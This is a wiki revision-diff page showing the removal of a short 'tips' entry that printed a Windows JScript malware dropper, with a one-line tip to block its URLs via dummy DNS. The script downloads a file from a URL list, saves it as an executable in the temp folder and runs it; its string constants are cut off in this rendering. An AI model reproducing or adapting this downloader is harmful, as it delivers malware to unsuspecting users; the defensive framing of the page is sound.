Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
tips:virus [2016/02/01 10:48] – created scipio | tips:virus [2021/10/08 10:06] (current) – removed scipio | ||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Example of javascritp ====== | ||
- | To avoid this type of attack create a dummy DNS for URLS | ||
- | < | ||
- | var STATUS_OK = 200; | ||
- | var METHOD_GET = " | ||
- | var METHOD_EXEC = " | ||
- | var W_SCRIPT_SHELL = " | ||
- | var MSXML2_XMLHTTP = " | ||
- | var ADODB = " | ||
- | var STREAM = " | ||
- | var TEMP_ENV = " | ||
- | var EXE_EXTENSION = " | ||
- | var MIN_FILE_SIZE = 20000; | ||
- | |||
- | var URLS = [" | ||
- | var FILE_NAME = 35184372088832; | ||
- | |||
- | |||
- | var wShell = WScript.CreateObject(W_SCRIPT_SHELL); | ||
- | var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP); | ||
- | var stream = WScript.CreateObject(ADODB+" | ||
- | |||
- | var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV); | ||
- | var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION; | ||
- | |||
- | |||
- | for (var v = 0; v < URLS.length; | ||
- | try { | ||
- | var url = URLS[v]; | ||
- | httpRequest.open(METHOD_GET, | ||
- | httpRequest.send(); | ||
- | if (httpRequest.status == STATUS_OK) { | ||
- | try { | ||
- | stream.open(); | ||
- | stream.type = 1; | ||
- | stream.write(httpRequest.responseBody); | ||
- | if (stream.size > MIN_FILE_SIZE) { | ||
- | v = URLS.length; | ||
- | stream.position = 0; | ||
- | stream.saveToFile(storedFilePathName, | ||
- | } | ||
- | } finally { | ||
- | stream.close(); | ||
- | } | ||
- | } | ||
- | } | ||
- | catch (ignored) { | ||
- | } | ||
- | } | ||
- | wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45)); | ||
- | |||
- | </ |